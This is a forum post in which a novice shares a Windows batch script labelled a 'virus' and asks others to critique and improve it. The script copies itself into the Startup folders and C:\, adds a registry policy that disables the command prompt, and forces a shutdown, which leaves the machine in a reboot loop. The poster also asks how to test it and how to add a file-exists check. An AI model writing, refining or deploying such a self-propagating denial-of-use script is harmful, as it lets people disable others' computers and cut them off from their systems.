Login Register






Batch "Virus" filter_list
Author
Message
Batch "Virus" #1
Hey guys, I was bored today in a free period and wrote this out. I'm pretty new to Batch, and I wanted to know your opinion.
Code:
Title name @echo off copy E:\name11.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat C:\* reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f shutdown -s -t 10 -c "Bye-bye, %username%!" exit

Basically, it copies itself into the startup folder (and possibly everything in the C:\ drive, not 100% sure), adds a registry edit to disable cmd, and shuts off the computer. This way, it will continuously shutdown every time it starts up.

I don't know if it's necessary for me to use a comment on the shutdown line, or if I should just use
Code:
echo "Bye-bye, %username%!" pause shutdown -s -t 00

What do you guys think?

Also, what Virtual PC do you guys recommend to test this out with? I tried the one from Microsoft's website, but it didn't work. I'm using Windows 8 (on my home PC, school uses XP) which doesn't use Hyper-V.

Thanks in advance!

Edit:
I also wanted to know if when the script copied itself into the startup folder, and shutdown, if it would try to copy itself again and give itself an error (two files with the same name in the same place).
Is there a way to (excuse my terrible Batch please)
Code:
if %ALLUSERSPROFILE%\Start Menu\Programs\Startup\name11.bat exists goto :XYZ
??

Thanks again!

Reply





Messages In This Thread
Batch "Virus" - by Fish - 05-22-2014, 10:07 PM